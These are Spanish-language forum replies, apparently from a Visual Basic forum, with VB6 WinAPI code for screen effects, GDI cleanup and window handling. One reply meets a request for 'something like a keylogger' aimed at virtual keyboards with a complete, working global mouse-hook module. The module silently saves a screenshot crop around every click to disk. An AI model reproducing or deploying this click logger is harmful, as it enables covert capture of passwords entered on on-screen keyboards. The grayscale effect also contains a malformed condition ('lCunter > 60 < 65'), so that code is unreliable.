@░▒▓BlackZeroҖ▓▒░
esta bueno el ejemplo, te voy a tirar una sugerencia como ya me lo hicieron a mi en mi foro

al pasarle un lapiz a un hdc hay que eliminar el antiguo lapiz, esto es tanto como para un brocha, o un bitmap.

DeleteObject SelectObject(hdc, hPen)

y luego por ulitmo eliminas tu lapiz creado

DeleteObject hPen

a una cosa muy importate Compilalo!! sino es muy lento.

Saludos.

Hola para el efecto de vista si podrias usar SetLayeredWindowAttributes pero para el de apagado del xp te paso un metodo convirtiendo la pantalla a escala de grices.

Agrega a un formulario: Timer1, Picture1, Command1

Option Explicit
'*-------------------------------------*
'Autor:     Leandro Ascierto
'web:       www.leandroascierto.com.ar
'Date:      13/01/2009
'Referncia  ApiGuide
'Requimientos Timer1, Picture1, Command1
'*-------------------------------------*
Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function CreateDIBSection Lib "gdi32" (ByVal hdc As Long, pBitmapInfo As BITMAPINFO, ByVal un As Long, ByVal lplpVoid As Long, ByVal handle As Long, ByVal dw As Long) As Long
Private Declare Function GetDIBits Lib "gdi32" (ByVal aHDC As Long, ByVal hBitmap As Long, ByVal nStartScan As Long, ByVal nNumScans As Long, lpBits As Any, lpBI As BITMAPINFO, ByVal wUsage As Long) As Long
Private Declare Function SetDIBitsToDevice Lib "gdi32" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long, ByVal dx As Long, ByVal dy As Long, ByVal SrcX As Long, ByVal SrcY As Long, ByVal Scan As Long, ByVal NumScans As Long, Bits As Any, BitsInfo As BITMAPINFO, ByVal wUsage As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long
Private Declare Function DeleteDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Declare Function GetDC Lib "User32" (ByVal hWnd As Long) As Long
Private Declare Sub SetWindowPos Lib "User32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long)
 
Private Type BITMAPINFOHEADER
    biSize As Long
    biWidth As Long
    biHeight As Long
    biPlanes As Integer
    biBitCount As Integer
    biCompression As Long
    biSizeImage As Long
    biXPelsPerMeter As Long
    biYPelsPerMeter As Long
    biClrUsed As Long
    biClrImportant As Long
End Type
 
Private Type RGBQUAD
    rgbBlue As Byte
    rgbGreen As Byte
    rgbRed As Byte
    rgbReserved As Byte
End Type
 
Private Type BITMAPINFO
    bmiHeader As BITMAPINFOHEADER
    bmiColors As RGBQUAD
End Type
 
Private Const BI_RGB = 0&
Private Const DIB_RGB_COLORS = 0
 
Private Const HWND_TOPMOST      As Long = -1
Private Const SWP_NOACTIVATE    As Long = &H10
Private Const SWP_SHOWWINDOW    As Long = &H40
 
Private bi24BitInfo     As BITMAPINFO
Private hBitmap         As Long
Private lHdc            As Long
Private bBytes()        As Byte
Dim lCunter             As Long
 
Private Sub Command1_Click()
    Unload Me
End Sub
 
Private Sub Form_Load()
    Dim TempDC As Long
 
    Me.BorderStyle = 0
    Me.Caption = ""
    Me.WindowState = vbMaximized
    Me.AutoRedraw = True
    Command1.Caption = "Cancelar"
 
    TempDC = GetDC(0)
 
    With bi24BitInfo.bmiHeader
        .biBitCount = 24
        .biCompression = BI_RGB
        .biPlanes = 1
        .biSize = Len(bi24BitInfo.bmiHeader)
        .biWidth = Screen.Width / Screen.TwipsPerPixelX
        .biHeight = Screen.Height / Screen.TwipsPerPixelY
    End With
 
    ReDim bBytes(1 To bi24BitInfo.bmiHeader.biWidth * bi24BitInfo.bmiHeader.biHeight * 3) As Byte
 
    lHdc = CreateCompatibleDC(0)
    hBitmap = CreateDIBSection(lHdc, bi24BitInfo, DIB_RGB_COLORS, ByVal 0&, ByVal 0&, ByVal 0&)
 
    SelectObject lHdc, hBitmap
 
    BitBlt lHdc, 0, 0, bi24BitInfo.bmiHeader.biWidth, bi24BitInfo.bmiHeader.biHeight, GetDC(0), 0, 0, vbSrcCopy
    GetDIBits lHdc, hBitmap, 0, bi24BitInfo.bmiHeader.biHeight, bBytes(1), bi24BitInfo, DIB_RGB_COLORS
    BitBlt Me.hdc, 0, 0, bi24BitInfo.bmiHeader.biWidth, bi24BitInfo.bmiHeader.biHeight, TempDC, 0, 0, vbSrcCopy
 
 
 
    SetWindowPos Me.hWnd, HWND_TOPMOST, 0, 0, bi24BitInfo.bmiHeader.biWidth, bi24BitInfo.bmiHeader.biHeight, SWP_NOACTIVATE Or SWP_SHOWWINDOW
 
    Picture1.Move (Me.ScaleWidth / 2) - (Picture1.ScaleWidth / 2), (Me.ScaleHeight / 2) - (Picture1.ScaleHeight / 2)
 
    lCunter = 0
    Timer1.Interval = 150
 
    DeleteDC TempDC
End Sub
 
Private Sub Form_Unload(Cancel As Integer)
    DeleteDC lHdc
    DeleteObject hBitmap
End Sub
 
Private Sub Timer1_Timer()
    Dim Cnt As Long, lGray As Long
    Dim lR As Long, lG As Long, lB As Long
 
    lCunter = lCunter + 1
 
    If lCunter > 60 < 65 Then
        For Cnt = LBound(bBytes) To UBound(bBytes) - 3 Step 3
            lB = bBytes(Cnt)
            lG = bBytes(Cnt + 1)
            lR = bBytes(Cnt + 2)
            lGray = (222 * lR + 707 * lG + 71 * lB) / 1000
            bBytes(Cnt) = (lB * 4 + lGray) / 5
            bBytes(Cnt + 1) = (lG * 4 + lGray) / 5
            bBytes(Cnt + 2) = (lR * 4 + lGray) / 5
        Next Cnt
 
        SetDIBitsToDevice Me.hdc, 0, 0, bi24BitInfo.bmiHeader.biWidth, bi24BitInfo.bmiHeader.biHeight, 0, 0, 0, _
            bi24BitInfo.bmiHeader.biHeight, bBytes(1), bi24BitInfo, DIB_RGB_COLORS
 
        Me.Refresh
    End If
 
    If lCunter = 71 Then Timer1.Interval = 0
End Sub
 

Saludos.

Exacto lo inicialize dentro de la funcion para que no crashe en el IDE pero bueno obiamente seria mejor ponerlo dentro de StartMouseCapture  o bien usar el GDIplusIDEsafe de LaVolpe pero bueno sale con fritas.

podes poner estas dos apis


y despues justo de la llamada al api BitBlt pones

pero te puede llegar a tapar la letra y no te serviria de nada la captura, mejor seria poner un puntito con SetPixel

Saludos.

mira este hilo
http://foro.elhacker.net/programacion_vb/duda_capturar_imagen_al_hacer_click-t280686.0.html;msg1383074#msg1383074

Saludos.

hola no se si es lo que yo entiendo vos queres hacer algo asi como un keyloger pero capturando las imagenes al hacer click en algun teclado virtual

te pongo un ejemplo haciendo hook al mouse y guarda las capturas en .jpg la carpeta que le indiques

dentro de un Modulo Bas

Option Explicit
'--------------------------------------------
'Autor: Leandro Ascierto
'Web: www.leandroascierto.com.ar
'Date: 11/01/2010
'--------------------------------------------
Private Declare Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
Private Declare Function FreeLibrary Lib "kernel32" (ByVal hLibModule As Long) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function GdiplusStartup Lib "gdiplus" (token As Long, inputbuf As GDIPlusStartupInput, Optional ByVal outputbuf As Long = 0) As Long
Private Declare Function GdipLoadImageFromFile Lib "GdiPlus.dll" (ByVal mFilename As Long, ByRef mImage As Long) As Long
Private Declare Function GdipDisposeImage Lib "gdiplus" (ByVal Image As Long) As Long
Private Declare Function GdipCreateBitmapFromHBITMAP Lib "gdiplus" (ByVal hbm As Long, ByVal hpal As Long, ByRef BITMAP As Long) As Long
Private Declare Sub GdiplusShutdown Lib "gdiplus" (ByVal token As Long)
Private Declare Function GdipSaveImageToFile Lib "gdiplus" (ByVal Image As Long, ByVal FileName As Long, ByRef ClsidEncoder As GUID, ByRef EncoderParams As Any) As Long
Private Declare Function CLSIDFromString Lib "ole32" (ByVal str As Long, id As GUID) As Long
Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long
Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long
Private Declare Function DeleteDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Private Declare Function GetDesktopWindow Lib "user32.dll" () As Long
 
Private Const ImageCodecJPG = "{557CF401-1A04-11D3-9A73-0000F81EF32E}"
Private Const EncoderQuality = "{1D5BE4B5-FA4A-452D-9CDD-5DB35105E7EB}"
Private Const EncoderParameterValueTypeLong = 4
 
Private Const WH_MOUSE_LL       As Long = 14
Private Const WM_LBUTTONUP      As Long = &H202
Private Const CAPTUREBLT        As Long = &H40000000
Private Const SRCCOPY           As Long = &HCC0020
 
Private Type CWPSTRUCT
    lParam As Long
    wParam As Long
    message As Long
    hwnd As Long
End Type
 
Private Type GUID
    Data1           As Long
    Data2           As Integer
    Data3           As Integer
    Data4(0 To 7)   As Byte
End Type
 
Private Type EncoderParameter
    GUID            As GUID
    NumberOfValues  As Long
    type            As Long
    Value           As Long
End Type
 
Private Type EncoderParameters
    Count           As Long
    Parameter(15)   As EncoderParameter
End Type
 
Private Type GDIPlusStartupInput
    GdiPlusVersion           As Long
    DebugEventCallback       As Long
    SuppressBackgroundThread As Long
    SuppressExternalCodecs   As Long
End Type
 
Private hHook As Long
Private m_Width As Long
Private m_Height As Long
Private m_DestPath As String
Private lCounter As Long
Private m_JpgQuality As Long
Private lHdc As Long
Private hBitmap As Long
Private DeskDC As Long
 
Public Function StartMouseCapture(DestPath As String, Optional JpgQuality As Long = 50, Optional Size As Long = 64) As Boolean
    m_DestPath = IIf(Right(DestPath, 1) <> "\", DestPath & "\", DestPath)
    If Size < 10 Then Size = 10
    m_Width = Size
    m_Height = Size
    m_JpgQuality = JpgQuality
    If hHook Then Exit Function
    If IsGdiPlusInstaled() Then
        DeskDC = GetDC(GetDesktopWindow)
        lHdc = CreateCompatibleDC(DeskDC)
        hBitmap = CreateCompatibleBitmap(DeskDC, m_Width, m_Height)
        DeleteObject SelectObject(lHdc, hBitmap)
        hHook = SetWindowsHookEx(WH_MOUSE_LL, AddressOf MouseProcedure, App.hInstance, 0)
        StartMouseCapture = True
    End If
End Function
 
Public Sub StopMouseCapture()
    UnhookWindowsHookEx hHook
    DeleteDC lHdc
    DeleteDC DeskDC
    DeleteObject hBitmap
    hHook = 0
End Sub
 
Private Function SaveImageToJpg(ByVal SrchBitmap As Long, ByVal DestPath As String, Optional ByVal JPG_Quality As Long = 85) As Boolean
 
    On Error Resume Next
    Dim GDIsi As GDIPlusStartupInput, gToken As Long, hBitmap As Long
    Dim tEncoder  As GUID
    Dim tParams     As EncoderParameters
 
    If JPG_Quality > 100 Then JPG_Quality = 100
    If JPG_Quality < 0 Then JPG_Quality = 0
 
    CLSIDFromString StrPtr(ImageCodecJPG), tEncoder
 
    With tParams
        .Count = 1
        .Parameter(0).NumberOfValues = 1
        .Parameter(0).type = EncoderParameterValueTypeLong
        .Parameter(0).Value = VarPtr(JPG_Quality)
        CLSIDFromString StrPtr(EncoderQuality), .Parameter(0).GUID
    End With
 
    GDIsi.GdiPlusVersion = 1&
 
    GdiplusStartup gToken, GDIsi
 
    If gToken Then
 
        If GdipCreateBitmapFromHBITMAP(SrchBitmap, 0, hBitmap) = 0 Then
 
            If GdipSaveImageToFile(hBitmap, StrPtr(DestPath), tEncoder, tParams) = 0 Then
                SaveImageToJpg = True
            End If
 
            GdipDisposeImage hBitmap
 
        End If
 
        GdiplusShutdown gToken
    End If
 
End Function
 
Public Function IsGdiPlusInstaled() As Boolean
    Dim hLib As Long
 
    hLib = LoadLibrary("gdiplus.dll")
    If hLib Then
        If GetProcAddress(hLib, "GdiplusStartup") Then
            IsGdiPlusInstaled = True
        End If
        FreeLibrary hLib
    End If
 
End Function
 
Public Function MouseProcedure(ByVal idHook As Long, ByVal wParam As Long, lParam As CWPSTRUCT) As Long
 
    MouseProcedure = CallNextHookEx(hHook, idHook, wParam, ByVal lParam)
 
    If wParam = WM_LBUTTONUP Then
        BitBlt lHdc, 0, 0, m_Width, m_Height, DeskDC, lParam.lParam - (m_Width / 2), lParam.wParam - (m_Height / 2), SRCCOPY Or CAPTUREBLT
        SaveImageToJpg hBitmap, m_DestPath & lCounter & ".jpg", m_JpgQuality
        lCounter = lCounter + 1
    End If
 
End Function
 

y en un formulario para probar

Private Sub Form_Load()
    StartMouseCapture "C:\", 20, 50
End Sub
 
Private Sub Form_Unload(Cancel As Integer)
    StopMouseCapture
End Sub
 

Saludos.

Este es un modulo bas para Reiniciar la aplicación si es que aparece un error y no fue controlado  (No errores de sistemas esos que aparece el maldito boton"No Enviar") sino los comunes de vb


Para probarlo en un formulario con Tres botones


Lo compilan y verán que al producir un error la aplicacion se reinicia.

Saludos.

hola mira este link creo que es lo que buscas

http://www.recursosvisualbasic.com.ar/htm/trucos-codigofuente-visual-basic/93.htm

Saludos.

podes usar apis como  GetDC, BitBlt, DrawText , pero bueno tenes que tener conosimiento de apis.

Saludos.

que es lo que no te funciona?.

SendMessage ret, WM_SYSCOMMAND, SC_CLOSE, ByVal 0

cierra la ventana pero no mata el proceso si la ventana no es la unica en ejecucion.

seguro que este es el nombre de clase ThunderRT6FormDC mira que si la aplicacion esta en ide es otro el classname.

Saludos.